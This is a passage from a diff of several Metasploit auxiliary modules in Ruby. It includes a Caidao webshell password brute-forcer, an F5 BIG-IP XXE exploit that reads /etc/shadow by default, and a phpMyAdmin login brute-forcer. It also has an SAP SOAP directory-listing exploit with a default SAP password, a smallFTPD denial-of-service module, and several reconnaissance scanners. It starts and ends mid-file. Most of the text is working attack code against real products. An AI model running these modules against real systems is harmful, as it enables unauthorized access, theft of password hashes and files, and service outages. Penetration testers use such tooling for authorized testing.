||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Chinese Caidao Backdoor Bruteforce',
|
||||
'Description' => 'This module attempts to brute chinese caidao php/asp/aspx backdoor.',
|
||||
'Author' => [ 'Nixawk' ],
|
||||
'References' => [
|
||||
[ 'URL', 'http://blog.csdn.net/nixawk/article/details/40430329']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptEnum.new('TYPE', [ true, "backdoor type", "PHP", ["PHP", "ASP", "ASPX"] ]),
|
||||
OptString.new('TARGETURI', [ true, "The URI to authenticate against", "/backdoor.php" ])
|
||||
], self.class)
|
||||
|
||||
register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ])
|
||||
end
|
||||
|
||||
def backdoor_brute(uri, user, pass, payload, match)
|
||||
begin
|
||||
data = "&user=#{user}&#{pass}=#{payload}"
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => "POST",
|
||||
'data' => "#{data}"
|
||||
})
|
||||
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEOUT
|
||||
print_error("#{peer} - Service failed to respond")
|
||||
return :abort
|
||||
|
||||
end
|
||||
|
||||
print_status("#{peer} - brute force caidao password: \"#{pass}\"")
|
||||
|
||||
if res and res.code == 200 and res.body =~ /#{match}/mi
|
||||
print_good("#{peer} - Successful login: password - \"#{pass}\"")
|
||||
|
||||
return :next_user
|
||||
end
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
uri = normalize_uri(target_uri.path)
|
||||
script_type = datastore['TYPE']
|
||||
|
||||
junk = Rex::Text::rand_text_alphanumeric(4)
|
||||
match = "#{junk}4#{junk}"
|
||||
|
||||
case script_type
|
||||
when /php$/mi
|
||||
payload = "$_=\"4\";echo \"#{junk}\".$_.\"#{junk}\";";
|
||||
|
||||
when /asp$/mi
|
||||
payload = "execute(\"response.write(\"\"#{junk}\"\"):response.write(Len(\"\"#{junk}\"\")):response.write(\"\"#{junk}\"\"):response.end\")"
|
||||
|
||||
when /aspx$/mi
|
||||
payload = "Response.Write(\"#{junk}\");Response.Write(Len(\"#{junk}\")});Response.Write(\"#{junk}\")"
|
||||
|
||||
else
|
||||
print_error("#{peer} - Backddor type is not support")
|
||||
return
|
||||
end
|
||||
|
||||
each_user_pass { |user, pass|
|
||||
backdoor_brute(uri, user, pass, payload, match)
|
||||
}
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,185 @@
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'F5 BIG-IP XML External Entity Injection Vulnerability',
|
||||
'Description' => %q{
|
||||
This module attempts to read a remote file from the server using a
|
||||
vulnerability in the way F5 BIG-IP handles XML files. The vulnerability requires
|
||||
an authenticated cookie so you must have some access to the web interface. F5
|
||||
BIG-IP versions from 10.0.0 to 11.2.1 are known to be vulnerable, see F5 page for
|
||||
specific versions. This module has not been verified, but should be ready for
|
||||
landing into rapid7/master if someone could help to confirm which module is working
|
||||
as expected.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2012-2997' ],
|
||||
[ 'OSVDB', '89447' ],
|
||||
[ 'BID', '57496' ],
|
||||
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130122-0_F5_BIG-IP_XML_External_Entity_Injection_v10.txt' ], # Original disclosure
|
||||
[ 'URL', 'http://support.f5.com/kb/en-us/solutions/public/14000/100/sol14138.html' ],
|
||||
[ 'URL', 'https://github.com/rapid7/metasploit-framework/pull/2144' ]
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'S. Viehbock', # Vulnerability discovery
|
||||
'Thaddeus Bogner', # Metasploit module
|
||||
'Will Caput', # Metasploit module
|
||||
'Trevor Hartman' # Metasploit module
|
||||
],
|
||||
'DefaultOptions' => { 'SSL' => true },
|
||||
'DisclosureDate' => 'Jan 22 2013',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('LOGINURI', [true, 'Login URI to F5 BIG-IP', '/tmui/logmein.html?msgcode=2&']),
|
||||
OptString.new('TARGETURI', [true, 'Path to F5 BIG-IP', '/sam/admin/vpe2/public/php/server.php']),
|
||||
OptString.new('RFILE', [true, 'Remote File', '/etc/shadow']),
|
||||
OptString.new('USERNAME', [true, 'BIGIP Username', '']),
|
||||
OptString.new('PASSWORD', [true, 'BIGIP Password', ''])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
# Check to see if a server even responds at the provided uri
|
||||
uri = normalize_uri(target_uri.path)
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if not res
|
||||
vprint_error("#{rhost}:#{rport} - Unable to connect")
|
||||
return
|
||||
end
|
||||
# Next login to the F5 with valid credentials and grab a valid cookie header.
|
||||
cookies = get_login_cookies(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
if cookies.nil?
|
||||
vprint_error("#{rhost}:#{rport} - Failed to retrieve the session cookie")
|
||||
return
|
||||
end
|
||||
# With a valid cookie, attempt to do XML attack and access shadow file.
|
||||
access_file(ip, cookies)
|
||||
end
|
||||
|
||||
def get_login_cookies(user, pass)
|
||||
vprint_status("Attempting login with '#{user}' : '#{pass}'")
|
||||
begin
|
||||
uri = normalize_uri(datastore['LOGINURI'])
|
||||
vprint_status("Acessing Login URI:'#{uri}'")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'username' => user,
|
||||
'passwd' => pass
|
||||
}
|
||||
})
|
||||
if not res or res.code != 302 or res.headers['Location'] =~ /\/login\.jsp/
|
||||
print_status("FAILED LOGIN.")
|
||||
return nil
|
||||
end
|
||||
# Login succeeded and we need to look for the cookie
|
||||
if res.headers.include?('Set-Cookie') and res.headers['Set-Cookie'] =~ /BIGIPAuthCookie/
|
||||
print_good("SUCCESSFUL LOGIN AND RETRIEVED BIGIPAuthCookie.")
|
||||
return res.get_cookies
|
||||
else
|
||||
return nil
|
||||
end
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||
vprint_error("HTTP Connection in get_login_cookies Failed, Aborting")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def access_file(rhost, cookies)
|
||||
uri = normalize_uri(target_uri.path)
|
||||
vprint_status("#{rhost}:#{rport} Connecting to F5 BIG-IP Interface")
|
||||
begin
|
||||
entity = Rex::Text.rand_text_alpha(rand(4) + 4)
|
||||
|
||||
data = "<?xml version=\"1.0\" encoding='utf-8' ?>" + "\r\n"
|
||||
data << "<!DOCTYPE a [<!ENTITY #{entity} SYSTEM '#{datastore['RFILE']}'> ]>" + "\r\n"
|
||||
data << "<message><dialogueType>&#{entity};</dialogueType></message>" + "\r\n"
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'cookie' => cookies,
|
||||
'data' => data,
|
||||
})
|
||||
|
||||
if not res # Check for empty result
|
||||
vprint_error("#{rhost}:#{rport} Empty Result.")
|
||||
return
|
||||
end
|
||||
|
||||
if res.code == 302 # Should never happen, but check for bad login cookie
|
||||
vprint_error("Bad Cookie Provided.")
|
||||
return
|
||||
end
|
||||
|
||||
if res.code == 200 # Good result, but still my not be vulnerable
|
||||
body = res.body
|
||||
if not body or body.empty?
|
||||
vprint_status("Retrieved empty file from #{rhost}:#{rport}")
|
||||
return
|
||||
end
|
||||
|
||||
if body =~ /Bad request/ # Not Vulnerable
|
||||
vprint_error("#{rhost}:#{rport} not vulnerable.")
|
||||
return
|
||||
end
|
||||
|
||||
if body =~ /generalError/ # Vulnerable unless patched.
|
||||
loot = ''
|
||||
doc = REXML::Document.new(body)
|
||||
doc.elements.each('message/messageBody/generalErrorText') do |e|
|
||||
# Remove the extra text returned.
|
||||
loot_node = e.get_text
|
||||
if loot_node # Check bacause could be nil
|
||||
# Give me the data between the single quotes
|
||||
#loot = loot_node.value.scan(/'([^']*)'/) # Bad with quoted loot
|
||||
loot = loot_node.value[38..-2]
|
||||
if loot.empty? # Probably a patched F5
|
||||
vprint_error("LOOT Empty. F5 BIG-IP is Likely Patched")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
f = ::File.basename(datastore['RFILE'])
|
||||
path = store_loot('f5.bigip.file',
|
||||
'application/octet-stream',
|
||||
rhost,
|
||||
loot,
|
||||
f,
|
||||
datastore['RFILE']
|
||||
)
|
||||
print_status("#{rhost}:#{rport} F5 BIG-IP - #{datastore['RFILE']} saved in #{path}")
|
||||
return
|
||||
end
|
||||
end
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||
vprint_error("HTTP Connection in access_file Failed, Aborting")
|
||||
return
|
||||
end
|
||||
vprint_error("#{rhost}:#{rport} Failed to retrieve file from #{rhost}:#{rport}")
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,126 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::WmapScanServer
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'HTTP Git Scanner',
|
||||
'Description' => 'Detect git directories and files and analize its content.',
|
||||
'Author' => ['t0nyhj'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PATH', [ true, "The test path to .git directory", '/'])
|
||||
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('ErrorCode', [ true, "Error code for non existent directory", 404]),
|
||||
OptPath.new('HTTP404Sigs', [ false, "Path of 404 signatures to use",
|
||||
File.join(Msf::Config.data_directory, "wmap", "wmap_404s.txt")
|
||||
]
|
||||
)
|
||||
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(target_host)
|
||||
conn = true
|
||||
ecode = nil
|
||||
emesg = nil
|
||||
|
||||
tpath = normalize_uri(datastore['PATH'])
|
||||
|
||||
ecode = datastore['ErrorCode']
|
||||
vhost = datastore['VHOST'] || wmap_target_host
|
||||
|
||||
#
|
||||
# Detect error code
|
||||
#
|
||||
begin
|
||||
randdir = Rex::Text.rand_text_alpha(5).chomp + '/'
|
||||
res = send_request_cgi({
|
||||
'uri' => tpath+randdir,
|
||||
'method' => 'GET',
|
||||
'ctype' => 'text/html'
|
||||
})
|
||||
|
||||
return if not res
|
||||
|
||||
tcode = res.code.to_i
|
||||
|
||||
# Look for a string we can signature on as well
|
||||
if(tcode >= 200 and tcode <= 299)
|
||||
|
||||
File.open(datastore['HTTP404Sigs'], 'rb').each do |str|
|
||||
if(res.body.index(str))
|
||||
emesg = str
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if(not emesg)
|
||||
if datastore['VERBOSE']
|
||||
vprint_status :level => :verror, :ip => ip, :msg => "['#{target_host}'] Using first 256 bytes of the response as 404 string '#{res.code}'"
|
||||
end
|
||||
emesg = res.body[0,256]
|
||||
else
|
||||
if datastore['VERBOSE']
|
||||
vprint_status :level => :verror, :ip => ip, :msg => "['#{target_host}'] Using custom 404 string of '#{emesg}'"
|
||||
end
|
||||
end
|
||||
else
|
||||
ecode = tcode
|
||||
if datastore['VERBOSE']
|
||||
vprint_status :level => :verror, :ip => ip, :msg => "['#{target_host}'] Using code '#{ecode}' as not found."
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
conn = false
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
conn = false
|
||||
end
|
||||
|
||||
return if not conn
|
||||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(tpath,'.git','config'),
|
||||
'method' => 'GET',
|
||||
'version' => '1.0',
|
||||
})
|
||||
|
||||
unless res
|
||||
vprint_error("#{target_host} no response")
|
||||
return
|
||||
end
|
||||
|
||||
if(((res.code.to_i == ecode) or (emesg and res.body.index(emesg))))
|
||||
if datastore['VERBOSE']
|
||||
vprint_status :level => :verror, :ip => ip, :msg => "['#{target_host}'] NOT Found. '#{tpath}' '#{res.code}'"
|
||||
end
|
||||
else
|
||||
if (res.body.include?('core') or res.body.include?('remote') or res.body.include?('branch'))
|
||||
print_good("[#{target_host}:#{rport}] Git Config file found.")
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,146 @@
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/login_scanner/php_myadmin'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
|
||||
super(update_info(info,
|
||||
'Name' => 'phpMyAdmin Login Utility',
|
||||
'Description' => %q{
|
||||
This module attempts to authenticate to a phpMyAdmin interface
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'hdelval', # original contributor
|
||||
'void_in' # help with dev and cleanup
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '1999-0502'] # Weak password
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'RPORT' => 80
|
||||
}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'Path of the phpMyAdmin interface', '/phpmyadmin/'])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def scanner(ip)
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS']
|
||||
)
|
||||
|
||||
login_scanneur = Metasploit::Framework::LoginScanner::PhpMyAdmin.new(
|
||||
configure_http_login_scanner(
|
||||
host: ip,
|
||||
uri: datastore['TARGETURI'],
|
||||
port: datastore['RPORT'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5
|
||||
))
|
||||
|
||||
@scanner ||= lambda {
|
||||
cred_collection
|
||||
return login_scanneur
|
||||
}.call
|
||||
end
|
||||
|
||||
|
||||
def report_good_cred(ip, port, result)
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: port,
|
||||
service_name: (ssl ? 'https': 'http'),
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: result.credential.private,
|
||||
private_type: :password,
|
||||
username: result.credential.public,
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
last_attempted_at: DateTime.now,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
|
||||
def report_bad_cred(ip, rport, result)
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: result.credential.realm_key,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
# Attempts to login
|
||||
def bruteforce(ip)
|
||||
scanner(ip).scan! do |result|
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
|
||||
report_good_cred(ip, rport, result)
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
if datastore['VERBOSE']
|
||||
print_brute(:level => :verror, :ip => ip, :msg => result.proof)
|
||||
end
|
||||
report_bad_cred(ip, rport, result)
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
if datastore['VERBOSE']
|
||||
print_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
|
||||
end
|
||||
report_bad_cred(ip, rport, result)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Start here
|
||||
def run_host(ip)
|
||||
scanneur = scanner(ip)
|
||||
unless scanneur.check_setup
|
||||
print_brute(:level => :error, :ip => ip, :msg => 'Target is not phpMyAdmin')
|
||||
return
|
||||
end
|
||||
|
||||
bruteforce(ip)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,123 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
##
|
||||
# This module is based on, inspired by, or is a port of a plugin available in
|
||||
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
|
||||
# http://www.onapsis.com/research-free-solutions.php.
|
||||
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
|
||||
# in producing the Metasploit modules and was happy to share his knowledge and
|
||||
# experience - a very cool guy.
|
||||
#
|
||||
# The following guys from ERP-SCAN deserve credit for their contributions -
|
||||
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
|
||||
# Dmitry Evdokimov.
|
||||
#
|
||||
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
|
||||
# who have Beta tested the modules and provided excellent feedback. Some people
|
||||
# just seem to enjoy hacking SAP :)
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing',
|
||||
'Description' => %q{
|
||||
This module exploits the SAP NetWeaver RZL_READ_DIR_LOCAL function, on the SAP
|
||||
SOAP RFC Service, to enumerate directory contents. It returns only the first 32
|
||||
characters of the filename since they are truncated. The module can also be used to
|
||||
capture SMB hashes by using a fake SMB share as DIR.
|
||||
},
|
||||
'References' => [
|
||||
[ 'OSVDB', '92732'],
|
||||
[ 'URL', 'http://erpscan.com/advisories/dsecrg-12-026-sap-netweaver-rzl_read_dir_local-missing-authorization-check-and-smb-relay-vulnerability/' ]
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Alexey Tyurin', # Vulnerability discovery
|
||||
'nmonkee' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('CLIENT', [true, 'SAP Client', '001']),
|
||||
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
|
||||
OptString.new('PASSWORD', [true, 'Password', '06071992']),
|
||||
OptString.new('DIR',[true,'Directory path (e.g. /etc)','/etc'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def parse_xml(xml_data)
|
||||
files = []
|
||||
xml_doc = Nokogiri::XML(xml_data)
|
||||
xml_doc.css('item').each {|item|
|
||||
name = item.css('NAME')
|
||||
size = item.css('SIZE')
|
||||
if not name.empty? and not size.empty?
|
||||
files << { "name" => name.text, "size" => size.text }
|
||||
end
|
||||
}
|
||||
return files
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
data = '<?xml version="1.0" encoding="utf-8" ?>'
|
||||
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
|
||||
data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
|
||||
data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
|
||||
data << '<SOAP-ENV:Header/>'
|
||||
data << '<SOAP-ENV:Body>'
|
||||
data << '<RZL_READ_DIR_LOCAL xmlns="urn:sap-com:document:sap:rfc:functions">'
|
||||
data << '<FILE_TBL>'
|
||||
data << '<item>'
|
||||
data << '<NAME></NAME>'
|
||||
data << '<SIZE></SIZE>'
|
||||
data << '</item>'
|
||||
data << '</FILE_TBL>'
|
||||
data << '<NAME>' + datastore['DIR'] + '</NAME>'
|
||||
data << '</RZL_READ_DIR_LOCAL>'
|
||||
data << '</SOAP-ENV:Body>'
|
||||
data << '</SOAP-ENV:Envelope>'
|
||||
|
||||
begin
|
||||
vprint_status("#{rhost}:#{rport} - Sending request to enumerate #{datastore['DIR']}")
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sap/bc/soap/rfc',
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'headers' => {
|
||||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
|
||||
},
|
||||
'vars_get' => {
|
||||
'sap-client' => datastore['CLIENT'],
|
||||
'sap-language' => 'EN'
|
||||
}
|
||||
})
|
||||
if res and res.code == 200 and res.body =~ /rfc:RZL_READ_DIR_LOCAL.Response/
|
||||
files = parse_xml(res.body)
|
||||
path = store_loot("sap.soap.rfc.dir", "text/xml", rhost, res.body, datastore['DIR'])
|
||||
print_good("#{rhost}:#{rport} - #{datastore['DIR']} successfully enumerated, results stored on #{path}")
|
||||
files.each { |f|
|
||||
vprint_line("Entry: #{f["name"]}, Size: #{f["size"].to_i}")
|
||||
}
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost}:#{rport} - Unable to connect")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,68 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'uptimesoftware.com Service Enumerator',
|
||||
#'Description' => 'Checks to see if the following scripts are available and unprotected on the machine running uptimesoftware client',
|
||||
'Description' => %q{This module can be used to identify system information on hosts running uptimesoftware.com client.
|
||||
If available a poorly configured host can identify system name, domain name, os version, number of cpu, if client is vmware, vmuuid,
|
||||
disks on system and their usage stats, the last user to log in to the system, processor stats, network interface statistics,
|
||||
running processes, who is currently logged in to the system, etc.},
|
||||
'Author' => 'RogueBit',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
register_options([
|
||||
Opt::RPORT(9998)], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
print_status "#{rhost}:#{rport} - Sending sysinfo request."
|
||||
uptime_put("sysinfo")
|
||||
print_status "#{rhost}:#{rport} - Sending df-k request."
|
||||
uptime_put("df-k")
|
||||
print_status "#{rhost}:#{rport} - Sending lastuser request."
|
||||
uptime_put("lastuser")
|
||||
print_status "#{rhost}:#{rport} - Sending mpstat request."
|
||||
uptime_put("mpstat")
|
||||
print_status "#{rhost}:#{rport} - Sending netstat request."
|
||||
uptime_put("netstat")
|
||||
print_status "#{rhost}:#{rport} - Sending physdrv request."
|
||||
uptime_put("physdrv")
|
||||
print_status "#{rhost}:#{rport} - Sending psinfo request."
|
||||
uptime_put("psinfo")
|
||||
print_status "#{rhost}:#{rport} - Sending tcpinfo request."
|
||||
uptime_put("tcpinfo")
|
||||
print_status "#{rhost}:#{rport} - Sending whoin request."
|
||||
uptime_put("whoin")
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
rescue ::Exception => e
|
||||
print_error("#{e} #{e.backtrace}")
|
||||
end
|
||||
report_service(:host => rhost, :port => rport, :name => "uptime")
|
||||
end
|
||||
|
||||
def uptime_put(marap)
|
||||
connect
|
||||
sock.put(marap)
|
||||
data = sock.recv(1024)
|
||||
print_status("Received: \r\n#{data}")
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'smallFTPD FTP Server Connection Saturation Remote Denial of Service',
|
||||
'Description' => %q{
|
||||
This module triggers unauthenticated Denial-of-Service condition in SmallFTPD server versions 1.0.3-fix and earlier with a few dozens of connection requests. The vulnerability is probably concerned with smallftpd being unable to handle multiple connections regardless of its maximum connection settings. Upon successful DoS exploit, the smallftpd will crash or still seem functioning by showing its service banner. But in fact it stops rejecting new FTP login requests.
|
||||
},
|
||||
'Author' => [ 'Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://smallftpd.sf.net/' ],
|
||||
[ 'URL', 'http://core.yehg.net/lab/pr0js/advisories/smallftpd_103-fix_saturation_dos' ]
|
||||
],
|
||||
'DisclosureDate' => 'Jun 27 2010'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(21)
|
||||
],self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
print_status("Sending DOS Packets ...")
|
||||
|
||||
35.times do |x|
|
||||
connect
|
||||
sock.put("USER CRASHED\r\n")
|
||||
disconnect
|
||||
end
|
||||
|
||||
print_good("Done")
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -0,0 +1,308 @@
|
||||
##
|
||||
# $Id: smb_enumshares.rb 8813 2010-03-14 03:44:50Z hdm $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Exploit mixins should be called first
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
|
||||
# Scanner mixin should be near last
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SMB Share Enumeration',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Determine what shares are provided by the SMB service and which ones are readable/writable',
|
||||
'Author' =>
|
||||
[
|
||||
'hdm',
|
||||
'nebulus'
|
||||
],
|
||||
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => {
|
||||
'DCERPC::fake_bind_multi' => false
|
||||
}
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('VERBOSE', [ false, 'Show discovered files', false])
|
||||
], self.class)
|
||||
|
||||
deregister_options('RPORT', 'RHOST')
|
||||
end
|
||||
|
||||
def share_type(val)
|
||||
[
|
||||
'DISK',
|
||||
'PRINTER',
|
||||
'DEVICE',
|
||||
'IPC',
|
||||
'SPECIAL',
|
||||
'TEMPORARY'
|
||||
][val]
|
||||
end
|
||||
|
||||
def device_type_int_to_text(device_type)
|
||||
